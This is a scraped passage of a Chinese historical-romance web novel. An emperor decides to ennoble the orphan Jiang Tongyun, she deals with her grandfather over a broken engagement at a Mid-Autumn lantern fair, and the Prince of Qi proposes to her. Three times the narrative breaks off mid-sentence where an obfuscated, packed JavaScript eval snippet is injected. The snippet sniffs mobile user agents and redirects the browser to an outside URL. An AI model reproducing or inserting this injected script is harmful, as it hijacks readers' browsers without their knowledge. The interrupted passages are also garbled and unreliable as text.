“当年之所以能这么快筹起粮草,还是因为有义士在背后相助,捐赠出了一批粮食。” 陛下惊讶地扬起眉毛:“是吗?是何人有此义举?你说与朕听,朕要嘉奖他一番!” 谢怀雵笑了笑:“陛下不识得她,但应该知道她的父母。” “她的父亲是已故的轻车都尉姜弘捷将军,母亲则是我大越唯一一位受封勋官的上骑都尉许夫人。” 陛下略一回忆就想了起来:“是他们?可朕记得,他俩好像只有一个女儿吧?” “是,就是这位姜姑娘送来的粮草。” 听到“姜姑娘”三个字,陛下又想起一件事来:“……等等,朕好像听皇后提过,含昭最近交了一个新朋友,是义阳侯的侄女。莫非也是这个姑娘?” 谢怀雵不由笑了:“对,也是她。” “那这位姑娘倒还真是有些不同寻常。不过既然是两位都尉的女儿,为国出力倒也合乎情理。她能行此义举,也算没堕了她父母的声名。” 陛下感慨了几句,忽又想起当年两次讨论优待的事来了:“说到封赏,朕又记起当年的旧事来了。” 谢怀雵只做不知:“是何旧事?” 陛下说起这些事也挺烦心:“你当时年纪还小,大约是不记得了。当年朕追封完两位都尉,也有意给那个小姑娘一些优待。谁知道有几个老顽固,非说她没有兄弟,义阳侯府以后要给她叔叔继承,要优待也应该优待她叔叔。” “之后,老义阳侯也为她请过一次赏,可惜也是被那些人压了回去,只叫朕把优待全给了姜弘凯。” 说到姜弘凯,陛下就更生气了:“要是那个姜弘凯是个顶用的也就算了,可朕对他仁至义尽,他又是怎么报答朕的?!那帮老家伙就只知道规矩规矩,推上来的都是些什么玩意儿,净给朕添堵来了!” 提起当年的事情,他越说越气,脑海里一时想起那些老臣仗着资历反对自己的模样,一时又记起姜弘凯办事不力害自己连月辛劳补救的情形。 谢怀雵很清楚地知道陛下是为什么生气。 见他越发窝火,谢怀雵劝慰道:“那些老臣也是为了礼教。只是他们固守教条不知变通,反而忽视了陛下想要抚慰英烈遗孤的良苦用心。” 陛下只觉得谢怀雵这番话简直说到了自己的心坎上:“还是你明白朕!他们夫妻俩为国捐躯,就只留下了这么一个女儿,朕给那姑娘一些优待有又何妨呢?” 谢怀雵叹道:“姜姑娘能为边境筹粮,本身也是心怀家国之人。当年若是她得了封赏,想来应该不会辜负陛下圣恩。” 他的话点醒了陛下:“朕现在补救也为时不晚嘛。” 陛下在心中理顺思路:“对,正好你发现了她筹粮的义举,可以以此事为由,重提优待之事!” 谢怀雵知道此事已定,面上却装出惊讶的模样:“陛下要封赏姜姑娘吗?” “这本也就是她应得的。就是……朕该给她封个什么好呢?” 谢怀雵笑了笑:“无论陛下封她什么,您的心意都是最要紧的。如今边境有动,陛下能想起封赏旧日功臣的后嗣,想来也能振奋边境将士们的军心。” “对,这正是一举多得的好事。”陛下连连点头,“既然是要彰显圣恩,又要安抚人心,封诰命似乎有些欠缺……” 他沉吟片刻,下定了决心:“还是封个爵位好。朕看,就封她做个乡主吧!” 谢怀雵装着迟疑的样子:“按照大越礼制,乡主应当封给郡王之女。这会不会有些太过了?” 陛下摆了摆手:“只是个乡主。而且封她宗室女的爵位,正好还能以皇室名义供养她。” “原来如此。还是陛下深谋远虑。” 陛下被他夸得开心,笑得眉头舒展:“等过了中秋,朕就让人寻个由头提封赏的事。怀雵,到时候还得由你帮朕上奏,提一提那位姜姑娘的义举啊。” “臣领旨。” ***** 老爷子到了金陵,也不只是窝在家里,还赶在节前出门拜访了几位好友。 到了中秋那日,祖孙二人在家吃完一顿螃蟹宴,换上过节的衣裳,带着家里人一同出门看烟花去了。 漫步到外城墙的护城河外时,河岸上已经站了好些金陵百姓。 相熟的人家都拖家带口的挤在一起,一边说笑一边等待。还有好些商贩提着篮子在人群里穿梭,兜售鲜花、饰品、小吃、热饮等物。 老爷子掏钱给自己人一人买了一盏热乎乎的菊花饮,大家捧着暖呼呼的引子,翘首以盼。 临近戌时(晚上七点左右),宫中宴会结束。 帝后出殿赏月,早就安放在城墙上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517614|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟花也被同时点燃。 东风夜放花千树,更吹落,星如雨。* 明亮的烟火冲破桎梏,在宫墙上迸出簇簇星雨。 有些星火燃得久,落下城墙后还未熄灭,被风一卷,就飘进了人群里,引得孩童们纷纷伸手去接。 眼见有火星子飘来,老爷子赶紧抬手挡在姜同云头顶,生怕烫到了自己的外孙女。 待烟火燃尽,几人顺着暖黄的灯流,一路行至东市。 东市的热闹丝毫不亚于宫城。 今夜没有宵禁,街道上挤满了出来过节的人。 沿街的铺面没有一家打烊,各家铺子门前都挂上了成串的彩灯。 沿着秦淮河岸还摆满了各式各样的摊子,有卖吃食饮品的,也有卖小件首饰的,更多的还是各式各样的花灯摊子,尤其以月亮和玉兔主题为盛。 虽然往年的中秋元宵,老爷子也会带着姜同云一起去参加杭州城里的灯会,但金陵作为帝都,风貌与杭州确实大不相同。 至少这个人流量就不是一个层级的! 挤挤挨挨的人潮里,姜同云几人护着老爷子,艰难地挪动到了灯市所在的位置。 这是东市特意空出来的位置,今日不仅布置一新,还设置了许多小游戏。里面既有灯谜、作诗、对联等文雅的玩法,也有套圈、投壶这种考验身体能力的游戏。 游人们可以各自选择自己擅长的类目,赢下游戏就能得到一盏小彩灯。攒够一定数量的彩灯,就可以兑换奖品。 据说灯市里还专门设置了几档大奖,头名的奖品是一盏以嫦娥奔月为主题的大花灯! 所以姜同云一早就跟外祖父说好,要去灯市参加比赛,给她赢个大奖回来。 要是能把嫦娥提回家那就更好啦! 老爷子也乐于满足孙女这点愿望,于是祖孙二人摩拳擦掌,一进灯市就朝着文比的摊子直奔而去。 老爷子学富五车,简直就是一个人形外挂,轻轻松松就扫了好几个灯谜摊子。进灯市还没到半个时辰,姜同云手里就握上了一大把彩灯杆子。就连跟着来看热闹的木樨、柳四娘和陶叔他们手里也分别提了几盏。 眼看这片区域的灯谜摊子都被老爷子攻克完毕,姜同云又瞄上了不远处的对联摊子:“外祖父,咱们去那边!” “行行行。你慢点走,时辰还早着呢。” 老爷子捋着胡子,笑眯眯地跟着姜同云朝对联摊子走去。 余光扫过人群,老爷子刚抬起来的脚就停了下来。 姜同云走出两步,扭头发现外祖父没跟上来,又费劲挤了回去。 她刚想催一催,却见老爷子眉头紧锁面色微沉,便连忙问道:“怎么了?您哪里不舒服吗?” 老爷子被她一叫,如梦初醒般转过头来:“哦,没什么。” 姜同云见他眉心依旧没有舒展,便朝着老爷子方才看的位置看去。 这一看,姜同云的心重重砸了一下:他们俩怎么一起出来了! 对面灯谜摊子前站着的,不正是韩纬和姜向瑶吗! 不行,得把事情瞒过去! 姜同云连忙拉住老爷子:“咱们快去那边看看吧!” 老爷子本也想快点离开,但抬头一看外孙女慌张的脸色,心里也是一沉。 他反握住外孙女的手,沉声问道:“你也看见他了?” 姜同云下意识地否认:“谁啊?我看见谁了?” 这下,老爷子多年为师的警报立刻被拉响了。看着眼神闪躲的外孙女,他拉下脸来,一字一顿地说道:“韩纬!他和一个年轻姑娘在一起!” 30. 自荐 虽然不知道老爷子是怎么认识韩纬的,但好在听他话里的意思,他不知道那个“年轻姑娘”是自己的堂妹。 姜同云连忙替他俩找借口:“那也许是他的妹妹吧。” 老爷子岂是那么容易被糊弄的:“他俩举止那般亲昵,怎么可能会是兄妹!” “也、也不算亲昵吧。”姜同云有些底气不足,“就是帮着理了理珠钗……” “那还不算?!”老爷子简直气得不打一处来。 他前两天拜访老友的时候,特意托了老友的关系,进了国子监悄悄看过韩纬。见对方确实一表人才,作的文章也颇有几分见地,心里对这个准外孙女婿还是挺满意的。 谁想到今晚就在这儿撞见他陪着一个年轻姑娘一起逛灯市! 两个人有说有笑的(其实主要还是那个姑娘在笑),韩纬还帮着对方理发髻! 好一个侯府公子!明明有婚约在身,居然还和别的女子拉拉扯扯! 老爷子本想发火,但想到外孙女前两天提起两人正在合八字。听外孙女当时的语气,对这门婚事似乎是心存期许的。 为了姜同云,老爷子打算暂时忍下这口气,回去再想办法仔细调查一下这个韩纬的事。 要是他真在订婚期和别的姑娘暧昧不清,那这门婚约也就没有继续的必要了! 谁知道就是这么一迟疑,又让姜同云折返了回来,还叫她也看见韩纬了! 听见姜同云为韩纬开脱,老爷子以为外孙女还在自欺欺人,心里非常窝火。 他当即松开姜同云,就要朝韩纬两人所在的灯谜摊子去:“既然你也看见了,那不如找他当面对质问个清楚!” “外祖父!”姜同云连忙去拉人,“您别冲动啊!” 这怎么问清楚?一对质不就把事情都抖落出来了吗! 丢脸事小,万一给老爷子气出病来那可怎么办啊! 老爷子更生气了:“他都这样了你还护着他?!” 什么叫护着他啊! 姜同云有苦说不出,只能拉着老爷子道:“这儿这么多人呢!” “人多怎么了?咱们有理!” 眼看老爷子犟脾气上来了,姜同云急得直给一旁的木樨几人使眼色。 陶叔想着,在这里闹起来确实不好看,连忙帮着一起拦住老爷子:“您消消气,咱们可以回去从长计议。” 老爷子越想越气,一把挥开陶叔的手:“什么从长计议!我看——” 几人正在拉扯,身后突然传来了一声疑惑的询问:“姜姑娘?” 姜同云转头一看,竟然是谢怀雵。 谢怀雵看着围成一团的几人,面露疑惑之色:“几位这是?” 姜同云心里一动。 她连忙拉了拉老爷子的袖子,小声道:“外祖父,这是齐王殿下!” 老爷子愣了愣:齐王? 他曾听人提起过,这位齐王虽然出身尊贵,但心怀家国,曾经在边境驻守过三年,数次击退晋朝侵扰。后来因为与敌交战受了重伤,不得已才回到金陵。 老爷子对这种能为家国百姓奉献自身的人向来是很有好感的。 见外祖父的情绪有所平缓,姜同云抓紧机会,对谢怀雵介绍道:“殿下,这是我的外祖父。” “原来是许山长。”谢怀雵连忙拱手行礼,“老爷子桃李满天下,在下久仰大名。” 老爷子连忙还礼:“殿下过奖了。” 两人寒暄起来。姜同云偷偷朝对面瞄了一眼,韩纬和姜向瑶已经离开了。不过为了防止再跟他俩撞上,姜同云还是决定快点离开这个是非地。 找准话隙,姜同云问道:“殿下今日是一个人来逛灯市的?” 她主打一个睁眼说瞎话,直接把对方身后的侍卫都无视了。 “……是?”谢怀雵一时不知道她是什么意思。横竖自己今晚只是出来闲逛,也没约什么人,那就干脆顺着她讲吧。 “既然这么巧碰上了,殿下不如跟我们一道逛逛?”姜同云一边说一边在老爷子看不见的地方悄悄合起手掌,对着谢怀雵祈求般地晃了两下。 谢怀雵觉得她的小动作分外可爱,便笑着说道:“在下孤身一人,姑娘好意邀请,怎敢推拒?不知道老爷子愿不愿意……” 老爷子其实是有些疑惑的。 也没见寄回来的信上提过外孙女跟这个齐王相熟,怎么现在就邀请人家一起游玩了? 不过在听到谢怀雵说自己孤身一人后,老爷子也忍不住动了恻隐之心。 听说这位齐王也跟云丫头一样,父母早亡。中秋团圆之日,他却要孤身出游,实在是可怜。带一个就带一个吧,也不是什么大不了的事。 想到这里,他点了点头:“殿下肯赏脸,老夫哪有什么不愿意的呢?” 话说一完,他也想起韩纬来。朝刚才那个地方一看,见韩纬已经不见踪迹,老爷子在心里冷哼一声:今日就先放过那小子! “殿下想去哪里看看吗?”既然邀请了对方同行,老爷子还是决定热情一点,便主动询问了一句。 谁料姜同云立刻道:“这里人这么多,不如咱们换个地方吧。比如,找个酒楼歇一歇?” 老爷子狐疑地看向她:“你不是说想赢奖品的吗?” “哎呀,时辰还早嘛,我也有点累了。”姜同云撒着娇晃了晃老爷子的胳膊。 “今晚这花灯赛会持续到子时,现在确实还早。”谢怀雵适时道,“正好在下在东市有一间酒楼。两位不妨随我去那儿休息片刻。” 谢怀雵开口邀请,老爷子也就没再拒绝。一行人逆着人潮挤出灯市,一路行至先前姜同云和谢怀雵密谈时去过的那间酒楼。 因为是谢怀雵的产业,即使客流汹涌,掌柜的也依旧给他在二楼留了一间位置极好的雅间。 雅间空间有限,谢怀雵带的护卫和陶叔等人就都留在了一楼。 在房间内坐定后,谢怀雵替老爷子和姜同云各斟了一杯茶:“二位在此稍候,在下让人上些吃食来。” 因为人多,谢怀雵没有干等小二上来,而是主动下楼去寻掌柜。 谢怀雵一走,老爷子就把脸一沉:“你刚才一直拦着我,后来又借齐王的名头把我带来这里,是不是想要护着那个姓韩的?!” 姓韩那小子品行不端,大不了换一门亲事。可要是云丫头想不开,非要吊死在这棵歪脖子树上,那老爷子可就真要气到跳脚了! “不是啦……”姜同云犹豫半晌,最终还是决定老实认错。 毕竟不能为了圆自己先前撒的谎就污蔑别人人品不好吧。 姜同云小心翼翼地看着老爷子:“其实……那个姑娘是我二妹妹。” “你二妹妹?”老爷子一时没转过弯来,想了一会才反应过来,“你叔婶的女儿?” 那不是更不对了吗!哪里有小姨子和准姐夫单独逛灯会的?! 眼看老爷子霍然起立,姜同云连忙拉住他:“是我主动让出这门婚约的!” “他们怎么能……什么叫是你主动让出的?!” “颍川侯夫人,就是那位韩公子的母亲,她对我不太满意。”姜同云委屈巴巴地望着外祖父,“我先前见过她一次,她都不肯拿正眼看我的。” “岂有此理!”老爷子气得直拍桌,“她以为他们家儿子是什么香饽饽吗!” “就是就是!”姜同云小鸡啄米般连连点头,随后又继续摆出可怜兮兮的样子来,“我想着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14534342|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然他们家看不上我,那我硬要嫁过去也没意思。正好侯夫人中意二妹妹,所以我干脆就把定亲信物给了婶婶,也免得以后麻烦。” “你!”老爷子半是心疼半是恼火,但看着外孙女这副模样,他的语气不自觉地软了下来,“那你也该先跟外祖父说一声啊。难道外祖父明知你会受委屈,还要逼着你嫁人吗?” 姜同云抓着老爷子的衣袖晃了晃:“我错了。您别生气了好吗?” 老爷子无奈地叹了口气,坐回椅子上:“罢罢罢。” 沉默片刻,他道:“这门婚约没了就没了,外祖父托人再帮你相看一个更好的!” 不是吧?! 姜同云连忙道:“能不能不看啊?” “不看怎么行?”老爷子瞪了瞪眼睛,“万一以后我不在了,你叔婶还不知道会给你找个什么样的歪瓜裂枣呢!” “哎呀,不会的啦。”姜同云凑到老爷子身边,小声道,“您还记得三年前,我筹措送去边城的那批粮食吗?” 老爷子挑了挑眉:“跟这有什么关系?” “那批粮草阴差阳错的,到了刚刚那位齐王殿下手里,解了他一场燃眉之急!他说想报答我,要给我在陛下面前讨个封赏。”姜同云竖起一根手指,“爵位!乡主!” 老爷子将信将疑:“真的假的?” “真的!”姜同云拍着胸脯保证道,“陛下过两天会就下旨了!” “我做了乡主,叔婶就不能随意给我定亲了,要经过陛下和皇后娘娘的同意。所以您不用担心我被他们随便嫁掉了!” 老爷子想了想,还是摇了摇头:“不行!万一陛下随便给你指个人呢?这事还是得由我把关!” 说着,老爷子又开始举例不嫁人的难处来劝说姜同云了。 姜同云听得一个头两个大,连忙找了个借口溜出雅间。 刚一到走廊,她就撞上了点完菜回来的谢怀雵。 “姜姑娘这是要去哪?” “殿下?”姜同云看着面前的人,眼里突然放出光来,“殿下,你人脉广,能不能帮我个忙!” 谢怀雵不明就里:“自然可以。” 姜同云四下看了看,将他拉到没人来往的走廊尽头:“您认不认识什么,身家清白又好拿捏的人啊?家世不用很好,长相端正就行。最好是能通文墨,不然有个一技之长也可!” 谢怀雵越听越糊涂:“姑娘找这样的人做什么?雇工?” “……差不多吧。”姜同云不好意思地挠了挠脸颊,犹豫再三还是决定老实交代。 毕竟是要找假成亲的对象,不先说清楚原因很容易造成沟通事故。 “我刚刚已经告诉外祖父,我把婚约让出去了。外祖父担心我的将来,非要给我相看。但我不想这样莫名其妙地嫁给一个陌生人。” “所以您能不能帮我找一个人来假成亲?我可以给钱!而且不用一直装,过个两年,一有机会就能和离!” 假成亲? 谢怀雵的心脏剧烈跳动起来。 虽然有些卑鄙,但他绝不会放过这种机会。 他垂下眼帘,掩住内心激动之情,又清了清嗓子保证自己的声音没有变调:“是有这么一个人。金陵人士,身家清白,家世和长相都还不错。虽算不上文采斐然,但也读过书,能作些文章。” 姜同云有些担忧:“这样的人能同意假成亲这种事吗?” 谢怀雵毫不犹豫地点头:“能。” “那他能不能尽早过来帮忙?最好就这两天!”姜同云期待地望向对方。 “现在就行。” 谢怀雵抬眼看向姜同云,语气前所未有地认真: “姜姑娘觉得,在下如何?” 31. 求娶 什么如何? 姜同云一时都没反应过来。 她愣愣地看着谢怀雵放大的脸,直到从他不闪不避的专注眼神里读出他刚才话语里的意味。 一股热火从她的脚底心直接窜到头顶。 姜同云觉得自己都快烧着了! 她慌忙低下头去,想要掩盖自己发烫的脸颊,却猛然瞥见自己的手掌心都变得通红,又赶紧把手背到身后藏起来。 冷静,冷静! 姜同云深深地吸了几口气,强行压下狂跳的心脏。 对方应该只是为了报恩才会主动站出来的! 而且他可是个亲王,选他当假成亲的对象,到时候想和离可就不是自己一个人说了算的。 想到这里,姜同云脸上的温度稍稍退去。 她抬起头来——但不敢看对方眼睛,只能盯着谢怀雵的下巴——婉拒道:“您身份贵重,就算是要报恩,也不必做此牺牲。” 谢怀雵退后一步。 姜同云以为他会顺着自己给的台阶下,刚准备再想两句拍马屁的好话,不料面前的人捂着嘴扭过身,猛烈地咳了起来。 姜同云担心是自己的拒绝让对方感到难堪,一时情绪激动又犯了毛病,所以连忙掏出手绢递了过去:“您没事吧?” 谢怀雵摆了摆手,又咳了一阵才慢慢止住:“无碍,老毛病罢了。” “在下能提出帮姜姑娘,自然也是深思熟虑过的。” 谢怀雵垂着眼,走廊灯笼不甚明亮的光映在他脸上,更衬出几分虚弱苍白来:“我虽有一个亲王的身份,但因为身体实在不好,金陵官宦权贵之家几乎没有愿意把女儿嫁给我的。我与姑娘……假成亲,实在算不上牺牲。” 姜同云有些难以置信:“可是上次宫宴的时候,来了不少年轻姑娘啊?” 谢怀雵笑了笑:“若是姜姑娘对金陵各家熟悉,应该就会知道,那日那些夫人们带来的,基本都是各自家族旁支的女儿。真心疼爱女儿的人家,都不会愿意把掌上明珠嫁给我这样的人的。” “什么叫‘我这样的人’?”姜同云反驳道,“抛开齐王的身份,您也是个很好的人。若不是有您这样的人守卫边境,哪会有他们如今的安逸生活?” 谢怀雵对着她笑了笑:“谢谢你。但是我这个身体……” 说着,他又捂着嘴咳了起来。 姜同云帮他顺了顺气,心里权衡起利弊来。 她还记得,成安堂的大夫们集体会诊过谢怀雵,并得出了非常一致的结论:此人寿数不久。 虽然这么想过于阴暗卑鄙,但是谢怀雵可能真的活不了几年了。与他成亲,就算和离不了也不是什么大问题,大不了多熬两年把他熬死,自己就能以齐王妃的身份过上守寡生活了。 他父母早逝,以后守寡也不用守太多规矩。虽然宫里还有帝后这两个长辈,但关上门来在齐王府里过日子,齐王妃就是老大! 这么一算,嫁给他真是太划算了! 不行不行!这样实在太卑鄙了! 姜同云甩了甩头,试图把这些想法甩出脑子。 她还在自我批判,却听谢怀雵又语气柔和地说道:“姜姑娘放心,在下可以先写一封陈情书给姑娘,里面会写明我自愿放姑娘自由。若是你觉得时机合适,或是在下哪天身体突然不好,你可以将我的手书呈交陛下,自此回归自由身。” 姜同云只觉眼前眩了一下。 对方都提出这么好的条件了,再不答应就是自己脑子有问题! 她立刻看向谢怀雵,坚定地答道:“好!” 谢怀雵看着她亮晶晶的眼睛,微微抬了抬唇角:“那在下现在就去写陈情书。” “不不不!”姜同云连忙拉住他的衣袖,“这个不着急。你还是先帮我……应付一下外祖父吧。” 于是两人回到雅间外。 姜同云侧耳听了听,发现房内并无声响,抬手准备推门进去。 谢怀雵拦下了她,轻声道:“我先进去看看。” 姜同云有些怀疑地看向他:“你一个人能行吗?” 谢怀雵微微颔首,语气坚定:“你放心。” 姜同云被他这种许诺一般态度搞得有些心慌意乱,下意识地缩回了想要推门的手:“那你去吧。如果有问题你就在里面弄点动静出来,我立刻进去帮你。” “好。” 姜同云退至门后,谢怀雵坦然推门而入。 许敬铭独自坐在里面,已经等得心中起疑了。 听见开门声,他刚想问问外孙女刚刚是不是故意躲出去的,抬头却见进来的是那位齐王殿下。 老爷子起身问候:“殿下。” “您不必多礼。”谢怀雵连忙扶了他一把,让他坐下。 桌上摆着刚刚送来的蜜饯点心,还有一壶热茶。 谢怀雵见老爷子杯里茶水不多,又替对方斟了一杯:“也不知道您喜欢吃什么,就随意要了一些。若是有什么不能吃的,您尽管提出来,我让人去换。” 许敬铭连忙摆手:“不妨事的,老夫都能吃的。” “那便好。”谢怀雵举起茶杯,“今日有幸见到您,晚辈以茶代酒,敬您一杯。” 老爷子心里已经觉得有些奇怪了。但对方到底是个王爷,身份在这儿,礼数又这般周全。他不好驳了谢怀雵的面子,便也举起茶杯抿了一口。 “齐王殿下……是有什么事情要同老夫说吗?”直觉对方要讲的事情可能和外孙女有关,许敬铭心怀忐忑地发了问。 谢怀雵浅浅一笑:“老爷子双目如炬。晚辈确有一事相求。” 说着,他站起身来,对着老爷子长长一揖:“姜姑娘蕙质兰心,晚辈心悦于她。故而斗胆向您开口,求娶姜姑娘。” 许敬铭废了好大的劲儿才没让自己当场失态。 他一口饮尽杯中茶水,才勉强让自己冷静下来。 “殿下为何会要求娶她?莫非是为了报答她筹措粮草之情?” 谢怀雵站直身子。 “当然不是!”他斩钉截铁地说道,“若是为了报答恩情,晚辈会给她一笔足够她后半生衣食无忧的金银,又或是在陛下面前要到她应得的封赏。以婚姻作报,非君子所为!” 老爷子在心中暗暗点头。 他又问道:“可老夫的这个外孙女,论家世、论相貌、论才情,都不是最顶尖的。殿下是为何会心悦于她?” 谢怀雵没有回到位置上坐下,而是站在原地,直视老爷子隐含审视的双眼,回答道:“姜姑娘心思纯善、勇敢刚毅、胸怀家国。对上不畏惧权势,自尊自爱;对下不自恃身份,温和真诚。这样的姑娘,我为何不该心悦于她?” 许敬铭一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14559053|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哑然。 谢怀雵又道:“晚辈知道,我与姜姑娘相交尚浅。但即便只是几次有限的接触,我都能感受到她的种种优点。您作为她的长辈,应该比我更清楚,她到底是一个多么值得被喜欢的姑娘。” 在许敬铭的心里,姜同云自然是世界上最好最好的小姑娘。 谢怀雵的这番话,他确实没有反驳的余地。 不过不反驳对方,不代表他就会同意。 老爷子捋着胡子沉吟片刻:“老夫听闻陛下十分关爱殿下。殿下今日提出求娶,可有经过陛下同意?” “晚辈既然敢向您开口,自然有把握争取到陛下许可。”谢怀雵神情淡然,“您若心有疑虑,晚辈可以求陛下下旨赐婚。” 许敬铭摸着胡子的手一顿。 下旨赐婚,对确实外孙女是个保障。但嫁入皇家本来就没有选择离开的余地。要是再加上一重赐婚,那可真是要一辈子都被锁在齐王府里了。 想到这里,许敬铭直直看向对方:“若是她嫁给你以后过得不开心呢?” “还有,我们许家没有纳妾的先例。当年她父亲向我求娶她母亲时,也是在我面前立下过誓言,保证日后绝不会纳妾的。敢问殿下,能做到这一点吗?” 谢怀雵笑了。 他没有作世上男子都会作的誓言,反而点头道:“您的担忧很有道理。” “我先前答应过姜姑娘,会手书一封陈情书给她。里面会写明,若是她在齐王府过得不如意,我自愿与她和离,放她离去。” 谢怀雵坐回位置上:“我可以当着您的面写好这封陈情书,连着不纳妾一项一并列入其中。将来若是晚辈有违诺言,抑或是对姜姑娘不好,您和姜姑娘可以将这封书信呈交陛下,或是公之于众。” “晚辈相信,以您的人脉和能力,绝对有办法将这封陈情书弄得世人皆知。”谢怀雵微笑着说道,“我以我自己,还有谢家皇族的名声做担保,老爷子总该放心一二了吧。” 许敬铭沉默了。 他只想要对方给个承诺,没想到对方还愿意直接把这种把柄送到自己手上。 但,真有这样的东西做担保,他才能对面前这个年轻人放心。 话都已经说得这么直白了,老爷子也不再端着:“好。那你现在就写吧。” 谢怀雵也没有丝毫推拒:“晚辈这就让人去准备纸笔。” 他起身准备去寻小二。 刚一开门,贴在门上偷听的姜同云猝然失去支撑,差点跌进他怀里去。 谢怀雵扶了她一把:“小心些。” 差点出糗的姜同云连忙借着他的力道站好,用口型无声问道:“如何?” 从刚刚谢怀雵进去起,她就一直贴在门口偷听。 可惜这间房间的隔音效果真的不错,加上外面格外热闹喧腾,在房里两人都保持正常音量交流的情况下,她什么都没有听见。 谢怀雵只是微微点了点头,表示一切顺利。 姜同云还想再问,屋里的老爷子已经发话了:“在门口杵着干什么?” 她不自觉地缩了缩脖子。 老爷子什么都好,就是端起范儿来太像她以前的班主任了。 吓人! 见老爷子发了话,谢怀雵收回搀扶姜同云的手,侧身让步:“你先进去吧,我去拿点东西就回来。” 32. 定亲 谢怀雵离开后,姜同云才小步挪进屋里:“外祖父……” “把门关上。” “哎好。”不知道谢怀雵跟老爷子都说了些什么,姜同云现在只能尽量顺着老爷子的毛摸,尽量减少自己挨骂的可能。 她关了门,走到老爷子身后,殷勤又狗腿地开始给老爷子捶背。 老爷子轻哼一声,丝毫没把这种等级糖衣炮弹放在心上:“说吧,你跟他是什么时候的事情?” “什么……什么时候啊?”姜同云都不知道刚刚屋子里发生了什么,只能先装糊涂。 她这个反应,倒是刚好符合了一个背着长辈和外面男人暗生情愫的小姑娘的人设。 许敬铭心道:果然如此! 那个齐王刚才就说已经答应过同云要写陈情书,他俩果然早就在私下里做过什么约定了! 怪不得那个小子刚才一副成竹在胸的模样!感情是有恃无恐! 搞不好云丫头答应让出婚约,也是顺水推舟成全了他们二人! 老爷子虽然代错了数,过程错得一塌糊涂,但居然在结尾得到了几乎正确的答案。 他质问姜同云:“老实交代,你是不是早就想把和韩家的婚约推了?!” 啊?话题是怎么绕到这里来的?谢怀雵刚刚到底跟外祖父说了什么啊?! 姜同云瞳孔地震,看着老爷子一时不知该如何作答。 见外孙女愣在原地,许敬铭叹了口气:“你这傻丫头!就算你跟齐王互有好感,不想嫁给韩纬,也不能这样莽撞行事啊!这次是你运气好,韩家也有意换亲,你才能这么顺利地脱身!要是韩家信守承诺,你打算怎么办?难道要让齐王以势强压,逼迫对方同意退婚吗?” 姜同云已经有些糊涂了:“您在说什么啊?” “还不承认!”许敬铭斜了她一眼,“难道你不是早就跟齐王私下有了感情,不愿嫁入韩家,所以才一听说韩家想换人,你就直接把定亲信物给出去了?” 姜同云一时语塞。 除开私下有感情那段,别的倒也都对。 但这会要是再解释,恐怕又会把自己假成亲的计划说漏。所以姜同云只能垂下头去,认了老爷子的说法:“我知道错了。” “知错就行。”老爷子转回身去,“也亏得现在一切顺利。刚刚我也考察过了,这个齐王嘛,看着人也还不错。” 说着,老爷子又想起一件事,扭过头来:“我先前听说,他之前在战场上受过重伤,导致如今身体不好。这是真的假的,会不会有什么影响啊?” 真的,那可太真了。全成安堂的大夫都说他活不久。 但姜同云根本不敢这么回答。她要是敢说齐王活不久,老爷子指定不会同意这门婚事! 于是她道:“先前他的身子确实不是很好。不过陛下特意派了太医去齐王府照看,经过这段时间的调理,已经比先前大有起色了。” 老爷子闻言点了点头:“嗯,能调理就好。我看他面色虽然有些气血不足,但说起话来气息绵长,应该不是体质虚弱之人。” 那是您没看见他刚刚咳得快断气的模样。 姜同云缩回脑袋,又开始给老爷子捶肩膀。 恰好谢怀雵带着纸笔回来,拯救了愈发心虚的姜同云。 谢怀雵看了蔫头蔫脑的姜同云一眼,直觉她可能挨了老爷子一顿批评。放好文房四宝后,他主动问道:“老爷子是想亲拟这封陈情书,还是先由晚辈草拟一份给您过目?” 许敬铭对谢怀雵的态度很是满意:“殿下先写吧。” 谢怀雵蘸上墨水,思索片刻,随即提笔书写。 去拿纸笔的路上,他就已经打过一份腹稿,如今写来自然思路清晰。一盏茶的功夫都没到,他就已经一气呵成地写完了。 许敬铭接过谢怀雵双手递来的稿纸,快速翻看起来。 谢怀雵文辞简练。要说文章才华,肯定是比不过那些辞藻华美的辞赋。但他行文条理清晰、用词精确,老爷子通读了一遍也确实没能挑出什么毛病来。 许敬铭想了想,横竖自己家小姑娘也不是什么喜欢吟诗作对的才女,对方也都已经是堂堂亲王了,要那么好的辞赋水平也没什么用。 于是他点了点头:“这封就很好了。先收在老夫这儿吧。” 谢怀雵笑了笑:“晚辈可以再誊抄一遍,这样您与姜姑娘可以一人持有一份。” 难为对方想得贴心,老爷子没有拒绝,将书稿递了回去。 很快,新鲜出炉的抄写版就送到了姜同云手里。 收好陈情书后,老爷子问道:“那殿下打算何时去求陛下赐婚?” 